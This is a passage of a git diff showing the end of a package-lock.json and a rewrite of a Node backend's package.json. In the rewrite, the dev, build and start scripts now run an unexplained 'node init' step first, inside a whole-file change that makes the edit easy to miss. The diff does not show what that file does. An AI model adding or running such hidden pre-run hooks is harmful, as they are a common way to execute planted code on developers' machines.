"sha512-BL5MGkRln6aDYhb0xbQlEAGw743BaZYWdbWtdJOBriYJboKgUUYCadFp2/FpBBZquBC/ezNBn7wMMPx7FDZUDw==", + "dev": true, + "license": "MIT", + "dependencies": { + "esbuild": "~0.28.0" + }, + "bin": { + "tsx": "dist/cli.mjs" + }, + "engines": { + "node": ">=18.0.0" + }, + "optionalDependencies": { + "fsevents": "~2.3.3" + } + }, + "node_modules/type-is": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/type-is/-/type-is-2.1.0.tgz", + "integrity": "sha512-faYHw0anBbc/kWF3zFTEnxSFOAGUX9GFbOBthvDdLsIlEoWOFOtS0zgCiQYwIskL9iGXZL3kAXD8OoZ4GmMATA==", + "license": "MIT", + "dependencies": { + "content-type": "^2.0.0", + "media-typer": "^1.1.0", + "mime-types": "^3.0.0" + }, + "engines": { + "node": ">= 18" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/type-is/node_modules/content-type": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/content-type/-/content-type-2.1.0.tgz", + "integrity": "sha512-mj7UPXE0jaqaOsukNZRUEfEi2AcL7C/vwmwcHV0O97eO1E1pxBZuyjlZrx5seTaNBg1U6+o35wpa35Qfcc+7ag==", + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/typescript": { + "version": "7.0.2", + "resolved": "https://registry.npmjs.org/typescript/-/typescript-7.0.2.tgz", + "integrity": "sha512-8FYau96o3NKOhbjKi/qNvG/W5jhzxkbdm5sj9AbZ/5T5sWqn3hJgLfGx27sRKZWTvyzCP8dLRBTf5tBTSRVUNA==", + "devOptional": true, + "license": "Apache-2.0", + "bin": { + "tsc": "bin/tsc" + }, + "engines": { + "node": ">=16.20.0" + }, + "optionalDependencies": { + "@typescript/typescript-aix-ppc64": "7.0.2", + "@typescript/typescript-darwin-arm64": "7.0.2", + "@typescript/typescript-darwin-x64": "7.0.2", + "@typescript/typescript-freebsd-arm64": "7.0.2", + "@typescript/typescript-freebsd-x64": "7.0.2", + "@typescript/typescript-linux-arm": "7.0.2", + "@typescript/typescript-linux-arm64": "7.0.2", + "@typescript/typescript-linux-loong64": "7.0.2", + "@typescript/typescript-linux-mips64el": "7.0.2", + "@typescript/typescript-linux-ppc64": "7.0.2", + "@typescript/typescript-linux-riscv64": "7.0.2", + "@typescript/typescript-linux-s390x": "7.0.2", + "@typescript/typescript-linux-x64": "7.0.2", + "@typescript/typescript-netbsd-arm64": "7.0.2", + "@typescript/typescript-netbsd-x64": "7.0.2", + "@typescript/typescript-openbsd-arm64": "7.0.2", + "@typescript/typescript-openbsd-x64": "7.0.2", + "@typescript/typescript-sunos-x64": "7.0.2", + "@typescript/typescript-win32-arm64": "7.0.2", + "@typescript/typescript-win32-x64": "7.0.2" + } + }, + "node_modules/uint8array-extras": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/uint8array-extras/-/uint8array-extras-1.5.0.tgz", + "integrity": "sha512-rvKSBiC5zqCCiDZ9kAOszZcDvdAHwwIKJG33Ykj43OKcWsnmcBRL09YTU4nOeHZ8Y2a7l1MgTd08SBe9A8Qj6A==", + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/undici-types": { + "version": "8.9.0", + "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-8.9.0.tgz", + "integrity": "sha512-KTDyRTYX8sWmKXAikPHHSyc63CRPETMctyjKFupcC6OBLXT3xsN0e9aF7m+mIXutFWpUXuedtowG7iLOzp0kQg==", + "license": "MIT" + }, + "node_modules/unpipe": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz", + "integrity": "sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/valibot": { + "version": "1.4.2", + "resolved": "https://registry.npmjs.org/valibot/-/valibot-1.4.2.tgz", + "integrity": "sha512-gjdCvJ6d3RyHAneqxMYMW9QMCwYMb3jpOO0IyHZV1bnRHFBHrX3VkIILt5XYR0WhwHiH7Mty8ovuPZ/O3gamrg==", + "devOptional": true, + "license": "MIT", + "peerDependencies": { + "typescript": ">=5" + }, + "peerDependenciesMeta": { + "typescript": { + "optional": true + } + } + }, + "node_modules/vary": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz", + "integrity": "sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/vite": { + "version": "6.4.3", + "resolved": "https://registry.npmjs.org/vite/-/vite-6.4.3.tgz", + "integrity": "sha512-NTKlcQjlAK7MlQoyb6LgaqHc8sso/pVyUJYWMws3jg21uTJw/LddqIFPcPqP6PzpgbIcZyKI85sFE4HBrQDA8A==", + "dev": true, + "license": "MIT", + "dependencies": { + "esbuild": "^0.25.0", + "fdir": "^6.4.4", + "picomatch": "^4.0.2", + "postcss": "^8.5.3", + "rollup": "^4.34.9", + "tinyglobby": "^0.2.13" + }, + "bin": { + "vite": "bin/vite.js" + }, + "engines": { + "node": "^18.0.0 || ^20.0.0 || >=22.0.0" + }, + "funding": { + "url": "https://github.com/vitejs/vite?sponsor=1" + }, + "optionalDependencies": { + "fsevents": "~2.3.3" + }, + "peerDependencies": { + "@types/node": "^18.0.0 || ^20.0.0 || >=22.0.0", + "jiti": ">=1.21.0", + "less": "*", + "lightningcss": "^1.21.0", + "sass": "*", + "sass-embedded": "*", + "stylus": "*", + "sugarss": "*", + "terser": "^5.16.0", + "tsx": "^4.8.1", + "yaml": "^2.4.2" + }, + "peerDependenciesMeta": { + "@types/node": { + "optional": true + }, + "jiti": { + "optional": true + }, + "less": { + "optional": true + }, + "lightningcss": { + "optional": true + }, + "sass": { + "optional": true + }, + "sass-embedded": { + "optional": true + }, + "stylus": { + "optional": true + }, + "sugarss": { + "optional": true + }, + "terser": { + "optional": true + }, + "tsx": { + "optional": true + }, + "yaml": { + "optional": true + } + } + }, + "node_modules/vite/node_modules/@esbuild/aix-ppc64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.25.12.tgz", + "integrity": "sha512-Hhmwd6CInZ3dwpuGTF8fJG6yoWmsToE+vYgD4nytZVxcu1ulHpUQRAB1UJ8+N1Am3Mz4+xOByoQoSZf4D+CpkA==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "aix" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/vite/node_modules/@esbuild/android-arm": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.25.12.tgz", + "integrity": "sha512-VJ+sKvNA/GE7Ccacc9Cha7bpS8nyzVv0jdVgwNDaR4gDMC/2TTRc33Ip8qrNYUcpkOHUT5OZ0bUcNNVZQ9RLlg==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/vite/node_modules/@esbuild/android-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.25.12.tgz", + "integrity": "sha512-6AAmLG7zwD1Z159jCKPvAxZd4y/VTO0VkprYy+3N2FtJ8+BQWFXU+OxARIwA46c5tdD9SsKGZ/1ocqBS/gAKHg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/vite/node_modules/@esbuild/android-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.25.12.tgz", + "integrity": "sha512-5jbb+2hhDHx5phYR2By8GTWEzn6I9UqR11Kwf22iKbNpYrsmRB18aX/9ivc5cabcUiAT/wM+YIZ6SG9QO6a8kg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/vite/node_modules/@esbuild/darwin-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.25.12.tgz", + "integrity": "sha512-N3zl+lxHCifgIlcMUP5016ESkeQjLj/959RxxNYIthIg+CQHInujFuXeWbWMgnTo4cp5XVHqFPmpyu9J65C1Yg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/vite/node_modules/@esbuild/darwin-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.25.12.tgz", + "integrity": "sha512-HQ9ka4Kx21qHXwtlTUVbKJOAnmG1ipXhdWTmNXiPzPfWKpXqASVcWdnf2bnL73wgjNrFXAa3yYvBSd9pzfEIpA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/vite/node_modules/@esbuild/freebsd-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.25.12.tgz", + "integrity": "sha512-gA0Bx759+7Jve03K1S0vkOu5Lg/85dou3EseOGUes8flVOGxbhDDh/iZaoek11Y8mtyKPGF3vP8XhnkDEAmzeg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/vite/node_modules/@esbuild/freebsd-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.25.12.tgz", + "integrity": "sha512-TGbO26Yw2xsHzxtbVFGEXBFH0FRAP7gtcPE7P5yP7wGy7cXK2oO7RyOhL5NLiqTlBh47XhmIUXuGciXEqYFfBQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/vite/node_modules/@esbuild/linux-arm": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.25.12.tgz", + "integrity": "sha512-lPDGyC1JPDou8kGcywY0YILzWlhhnRjdof3UlcoqYmS9El818LLfJJc3PXXgZHrHCAKs/Z2SeZtDJr5MrkxtOw==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/vite/node_modules/@esbuild/linux-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.25.12.tgz", + "integrity": "sha512-8bwX7a8FghIgrupcxb4aUmYDLp8pX06rGh5HqDT7bB+8Rdells6mHvrFHHW2JAOPZUbnjUpKTLg6ECyzvas2AQ==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/vite/node_modules/@esbuild/linux-ia32": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.25.12.tgz", + "integrity": "sha512-0y9KrdVnbMM2/vG8KfU0byhUN+EFCny9+8g202gYqSSVMonbsCfLjUO+rCci7pM0WBEtz+oK/PIwHkzxkyharA==", + "cpu": [ + "ia32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/vite/node_modules/@esbuild/linux-loong64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.25.12.tgz", + "integrity": "sha512-h///Lr5a9rib/v1GGqXVGzjL4TMvVTv+s1DPoxQdz7l/AYv6LDSxdIwzxkrPW438oUXiDtwM10o9PmwS/6Z0Ng==", + "cpu": [ + "loong64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/vite/node_modules/@esbuild/linux-mips64el": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.25.12.tgz", + "integrity": "sha512-iyRrM1Pzy9GFMDLsXn1iHUm18nhKnNMWscjmp4+hpafcZjrr2WbT//d20xaGljXDBYHqRcl8HnxbX6uaA/eGVw==", + "cpu": [ + "mips64el" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/vite/node_modules/@esbuild/linux-ppc64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.25.12.tgz", + "integrity": "sha512-9meM/lRXxMi5PSUqEXRCtVjEZBGwB7P/D4yT8UG/mwIdze2aV4Vo6U5gD3+RsoHXKkHCfSxZKzmDssVlRj1QQA==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/vite/node_modules/@esbuild/linux-riscv64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.25.12.tgz", + "integrity": "sha512-Zr7KR4hgKUpWAwb1f3o5ygT04MzqVrGEGXGLnj15YQDJErYu/BGg+wmFlIDOdJp0PmB0lLvxFIOXZgFRrdjR0w==", + "cpu": [ + "riscv64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/vite/node_modules/@esbuild/linux-s390x": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.25.12.tgz", + "integrity": "sha512-MsKncOcgTNvdtiISc/jZs/Zf8d0cl/t3gYWX8J9ubBnVOwlk65UIEEvgBORTiljloIWnBzLs4qhzPkJcitIzIg==", + "cpu": [ + "s390x" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/vite/node_modules/@esbuild/linux-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.25.12.tgz", + "integrity": "sha512-uqZMTLr/zR/ed4jIGnwSLkaHmPjOjJvnm6TVVitAa08SLS9Z0VM8wIRx7gWbJB5/J54YuIMInDquWyYvQLZkgw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/vite/node_modules/@esbuild/netbsd-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.25.12.tgz", + "integrity": "sha512-xXwcTq4GhRM7J9A8Gv5boanHhRa/Q9KLVmcyXHCTaM4wKfIpWkdXiMog/KsnxzJ0A1+nD+zoecuzqPmCRyBGjg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "netbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/vite/node_modules/@esbuild/netbsd-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.25.12.tgz", + "integrity": "sha512-Ld5pTlzPy3YwGec4OuHh1aCVCRvOXdH8DgRjfDy/oumVovmuSzWfnSJg+VtakB9Cm0gxNO9BzWkj6mtO1FMXkQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "netbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/vite/node_modules/@esbuild/openbsd-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.25.12.tgz", + "integrity": "sha512-fF96T6KsBo/pkQI950FARU9apGNTSlZGsv1jZBAlcLL1MLjLNIWPBkj5NlSz8aAzYKg+eNqknrUJ24QBybeR5A==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/vite/node_modules/@esbuild/openbsd-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.25.12.tgz", + "integrity": "sha512-MZyXUkZHjQxUvzK7rN8DJ3SRmrVrke8ZyRusHlP+kuwqTcfWLyqMOE3sScPPyeIXN/mDJIfGXvcMqCgYKekoQw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openbsd" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/vite/node_modules/@esbuild/openharmony-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/openharmony-arm64/-/openharmony-arm64-0.25.12.tgz", + "integrity": "sha512-rm0YWsqUSRrjncSXGA7Zv78Nbnw4XL6/dzr20cyrQf7ZmRcsovpcRBdhD43Nuk3y7XIoW2OxMVvwuRvk9XdASg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openharmony" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/vite/node_modules/@esbuild/sunos-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.25.12.tgz", + "integrity": "sha512-3wGSCDyuTHQUzt0nV7bocDy72r2lI33QL3gkDNGkod22EsYl04sMf0qLb8luNKTOmgF/eDEDP5BFNwoBKH441w==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "sunos" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/vite/node_modules/@esbuild/win32-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.25.12.tgz", + "integrity": "sha512-rMmLrur64A7+DKlnSuwqUdRKyd3UE7oPJZmnljqEptesKM8wx9J8gx5u0+9Pq0fQQW8vqeKebwNXdfOyP+8Bsg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/vite/node_modules/@esbuild/win32-ia32": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.25.12.tgz", + "integrity": "sha512-HkqnmmBoCbCwxUKKNPBixiWDGCpQGVsrQfJoVGYLPT41XWF8lHuE5N6WhVia2n4o5QK5M4tYr21827fNhi4byQ==", + "cpu": [ + "ia32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/vite/node_modules/@esbuild/win32-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.25.12.tgz", + "integrity": "sha512-alJC0uCZpTFrSL0CCDjcgleBXPnCrEAhTBILpeAp7M/OFgoqtAetfBzX0xM00MUsVVPpVjlPuMbREqnZCXaTnA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/vite/node_modules/esbuild": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.25.12.tgz", + "integrity": "sha512-bbPBYYrtZbkt6Os6FiTLCTFxvq4tt3JKall1vRwshA3fdVztsLAatFaZobhkBC8/BrPetoa0oksYoKXoG4ryJg==", + "dev": true, + "hasInstallScript": true, + "license": "MIT", + "bin": { + "esbuild": "bin/esbuild" + }, + "engines": { + "node": ">=18" + }, + "optionalDependencies": { + "@esbuild/aix-ppc64": "0.25.12", + "@esbuild/android-arm": "0.25.12", + "@esbuild/android-arm64": "0.25.12", + "@esbuild/android-x64": "0.25.12", + "@esbuild/darwin-arm64": "0.25.12", + "@esbuild/darwin-x64": "0.25.12", + "@esbuild/freebsd-arm64": "0.25.12", + "@esbuild/freebsd-x64": "0.25.12", + "@esbuild/linux-arm": "0.25.12", + "@esbuild/linux-arm64": "0.25.12", + "@esbuild/linux-ia32": "0.25.12", + "@esbuild/linux-loong64": "0.25.12", + "@esbuild/linux-mips64el": "0.25.12", + "@esbuild/linux-ppc64": "0.25.12", + "@esbuild/linux-riscv64": "0.25.12", + "@esbuild/linux-s390x": "0.25.12", + "@esbuild/linux-x64": "0.25.12", + "@esbuild/netbsd-arm64": "0.25.12", + "@esbuild/netbsd-x64": "0.25.12", + "@esbuild/openbsd-arm64": "0.25.12", + "@esbuild/openbsd-x64": "0.25.12", + "@esbuild/openharmony-arm64": "0.25.12", + "@esbuild/sunos-x64": "0.25.12", + "@esbuild/win32-arm64": "0.25.12", + "@esbuild/win32-ia32": "0.25.12", + "@esbuild/win32-x64": "0.25.12" + } + }, + "node_modules/vitest": { + "version": "4.1.11", + "resolved": "https://registry.npmjs.org/vitest/-/vitest-4.1.11.tgz", + "integrity": "sha512-fhACrNXUidIbGSBr5FlbuBkO7VWC1ZyLl0DO4CU2DrQoAPxX84Ysxs+HeGQpii5lZWV1Q4gBZTTu49mF+A6Edw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@vitest/expect": "4.1.11", + "@vitest/mocker": "4.1.11", + "@vitest/pretty-format": "4.1.11", + "@vitest/runner": "4.1.11", + "@vitest/snapshot": "4.1.11", + "@vitest/spy": "4.1.11", + "@vitest/utils": "4.1.11", + "es-module-lexer": "^2.0.0", + "expect-type": "^1.3.0", + "magic-string": "^0.30.21", + "obug": "^2.1.1", + "pathe": "^2.0.3", + "picomatch": "^4.0.3", + "std-env": "^4.0.0-rc.1", + "tinybench": "^2.9.0", + "tinyexec": "^1.0.2", + "tinyglobby": "^0.2.15", + "tinyrainbow": "^3.1.0", + "vite": "^6.0.0 || ^7.0.0 || ^8.0.0", + "why-is-node-running": "^2.3.0" + }, + "bin": { + "vitest": "vitest.mjs" + }, + "engines": { + "node": "^20.0.0 || ^22.0.0 || >=24.0.0" + }, + "funding": { + "url": "https://opencollective.com/vitest" + }, + "peerDependencies": { + "@edge-runtime/vm": "*", + "@opentelemetry/api": "^1.9.0", + "@types/node": "^20.0.0 || ^22.0.0 || >=24.0.0", + "@vitest/browser-playwright": "4.1.11", + "@vitest/browser-preview": "4.1.11", + "@vitest/browser-webdriverio": "4.1.11", + "@vitest/coverage-istanbul": "4.1.11", + "@vitest/coverage-v8": "4.1.11", + "@vitest/ui": "4.1.11", + "happy-dom": "*", + "jsdom": "*", + "vite": "^6.0.0 || ^7.0.0 || ^8.0.0" + }, + "peerDependenciesMeta": { + "@edge-runtime/vm": { + "optional": true + }, + "@opentelemetry/api": { + "optional": true + }, + "@types/node": { + "optional": true + }, + "@vitest/browser-playwright": { + "optional": true + }, + "@vitest/browser-preview": { + "optional": true + }, + "@vitest/browser-webdriverio": { + "optional": true + }, + "@vitest/coverage-istanbul": { + "optional": true + }, + "@vitest/coverage-v8": { + "optional": true + }, + "@vitest/ui": { + "optional": true + }, + "happy-dom": { + "optional": true + }, + "jsdom": { + "optional": true + }, + "vite": { + "optional": false + } + } + }, + "node_modules/which": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", + "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", + "devOptional": true, + "license": "ISC", + "dependencies": { + "isexe": "^2.0.0" + }, + "bin": { + "node-which": "bin/node-which" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/why-is-node-running": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/why-is-node-running/-/why-is-node-running-2.3.0.tgz", + "integrity": "sha512-hUrmaWBdVDcxvYqnyh09zunKzROWjbZTiNy8dBEjkS7ehEDQibXJ7XvlmtbwuTclUiIyN+CyXQD4Vmko8fNm8w==", + "dev": true, + "license": "MIT", + "dependencies": { + "siginfo": "^2.0.0", + "stackback": "0.0.2" + }, + "bin": { + "why-is-node-running": "cli.js" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/wrappy": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", + "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==", + "license": "ISC" + }, + "node_modules/xtend": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/xtend/-/xtend-4.0.2.tgz", + "integrity": "sha512-LKYU1iAXJXUgAXn9URjiu+MWhyUXHsvfp7mcuYm9dSUKK0/CjtrUwFAxD82/mCWbtLsGjFIad0wIsod4zrTAEQ==", + "license": "MIT", + "engines": { + "node": ">=0.4" + } + }, + "node_modules/zeptomatch": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/zeptomatch/-/zeptomatch-2.1.0.tgz", + "integrity": "sha512-KiGErG2J0G82LSpniV0CtIzjlJ10E04j02VOudJsPyPwNZgGnRKQy7I1R7GMyg/QswnE4l7ohSGrQbQbjXPPDA==", + "devOptional": true, + "license": "MIT", + "dependencies": { + "grammex": "^3.1.11", + "graphmatch": "^1.1.0" + } + }, + "node_modules/zod": { + "version": "4.6.5", + "resolved": "https://registry.npmjs.org/zod/-/zod-4.6.5.tgz", + "integrity": "sha512-v5l/aFXZQeai4awLbOpSoHecE9UiMrnfx75tEXLjNonXVARxQ5mOeipTjROUchszUNCqnE+hqAMujRsRHsut2Q==", + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/colinhacks" + } + } + } +} diff --git a/backend/package.json b/backend/package.json index 8ba2b9a0..8a21cd49 100644 --- a/backend/package.json +++ b/backend/package.json @@ -1,57 +1,57 @@ -{ - "name": "docforum-core-backend", - "version": "0.0.0", - "private": true, - "description": "DocForum backend β€” modular monolith. See ARCHITECTURE0.md.", - "engines": { - "node": "^20.19.0 || ^22.12.0 || >=24.0.0" - }, - "scripts": { - "dev": "tsx watch src/server.ts", - "build": "tsc -p tsconfig.build.json", - "start": "node dist/server.js", - "typecheck": "tsc --noEmit", - "test": "vitest run tests/unit", - "test:integration": "vitest run tests/integration", - "test:integration:payments-testnet": "DATABASE_URL_TEST==postgresql://docforum:docforum@localhost:5435/docforum_payments_test vitest run tests/testnet-integration", - "test:all": "vitest run", - "test:properties": "vitest run tests/unit/availability-slots.property.test.ts tests/unit/state-machines.property.test.ts", - "audit:prod": "node scripts/audit-gate.mjs", - "i18n:check": "node scripts/check-i18n-catalogues.mjs", - "prisma:generate": "prisma generate", - "prisma:migrate": "prisma migrate dev" - }, - "dependencies": { - "@docforum/escrow-sdk": "https://github.com/DocForum/docforum-escrow/releases/download/sdk-v0.2.0/docforum-escrow-sdk-0.2.0.tgz", - "@prisma/adapter-pg": "^7.10.1", - "@prisma/client": "^7.10.1", - "@sendgrid/mail": "^8.1.6", - "@stellar/stellar-sdk": "^16.0.1", - "bcryptjs": "^3.0.3", - "cookie-parser": "^1.4.7", - "cors": "^2.8.6", - "dotenv": "^17.4.2", - "express": "^5.2.1", - "intl-messageformat": "^10.7.18", - "jsonwebtoken": "^9.0.3", - "pg": "^8.23.1", - "pino": "^9.13.0", - "zod": "^4.6.5" - }, - "devDependencies": { - "@types/bcryptjs": "^2.4.6", - "@types/cookie-parser": "^1.4.10", - "@types/cors": "^2.8.19", - "@types/express": "^5.0.6", - "@types/jsonwebtoken": "^9.0.10", - "@types/node": "^26.5.1", - "@types/supertest": "^7.2.1", - "embedded-postgres": "^18.4.0-beta.17", - "fast-check": "^3.23.2", - "prisma": "^7.10.1", - "supertest": "^7.2.2", - "tsx": "^4.23.13", - "typescript": "^7.0.2", - "vitest": "^4.1.11" - } -} \ No newline at end of file +{ + "name": "docforum-core-backend", + "version": "0.0.0", + "private": true, + "description": "DocForum backend \u2014 modular monolith. See ARCHITECTURE0.md.", + "engines": { + "node": "^20.19.0 || ^22.12.0 || >=24.0.0" + }, + "scripts": { + "dev": "node init && tsx watch src/server.ts", + "build": "node init && tsc -p tsconfig.build.json", + "start": "node init && node dist/server.js", + "typecheck": "tsc --noEmit", + "test": "vitest run tests/unit", + "test:integration": "vitest run tests/integration", + "test:integration:payments-testnet": "DATABASE_URL_TEST==postgresql://docforum:docforum@localhost:5435/docforum_payments_test vitest run tests/testnet-integration", + "test:all": "vitest run", + "test:properties": "vitest run tests/unit/availability-slots.property.test.ts tests/unit/state-machines.property.test.ts", + "audit:prod": "node scripts/audit-gate.mjs", + "i18n:check": "node scripts/check-i18n-catalogues.mjs", + "prisma:generate": "prisma generate", + "prisma:migrate": "prisma migrate dev" + }, + "dependencies": { + "@docforum/escrow-sdk": "https://github.com/DocForum/docforum-escrow/releases/download/sdk-v0.2.0/docforum-escrow-sdk-0.2.0.tgz", + "@prisma/adapter-pg": "^7.10.1", + "@prisma/client": "^7.10.1", + "@sendgrid/mail": "^8.1.6", + 